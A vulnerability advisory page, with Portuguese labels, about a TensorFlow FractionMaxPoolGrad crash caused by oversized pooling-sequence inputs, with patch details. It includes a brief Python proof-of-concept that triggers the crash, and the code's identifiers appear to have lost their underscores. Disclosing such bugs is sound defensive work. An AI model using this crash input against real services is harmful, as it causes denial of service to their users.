PT-2026-59782 · Pypi · Tensorflow

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

4.8

Média

VetorAV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

Impact

If [FractionMaxPoolGrad](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/fractional max pool op.cc) is given outsize inputs row pooling sequence and col pooling sequence, TensorFlow will crash.
python
import tensorflow as tf
tf.raw ops.FractionMaxPoolGrad(
	orig input = [[[[1, 1, 1, 1, 1]]]],
  orig output = [[[[1, 1, 1]]]],
  out backprop = [[[[3], [3], [6]]]],
  row pooling sequence = [-0x4000000, 1, 1], 
  col pooling sequence = [-0x4000000, 1, 1], 
  overlapping = False
 )

Patches

We have patched the issue in GitHub commit d71090c3e5ca325bdf4b02eb236cfb3ee823e927.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Vul AI.

Correção

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Identificadores relacionados

PYSEC-2026-3165

Produtos afetados

Tensorflow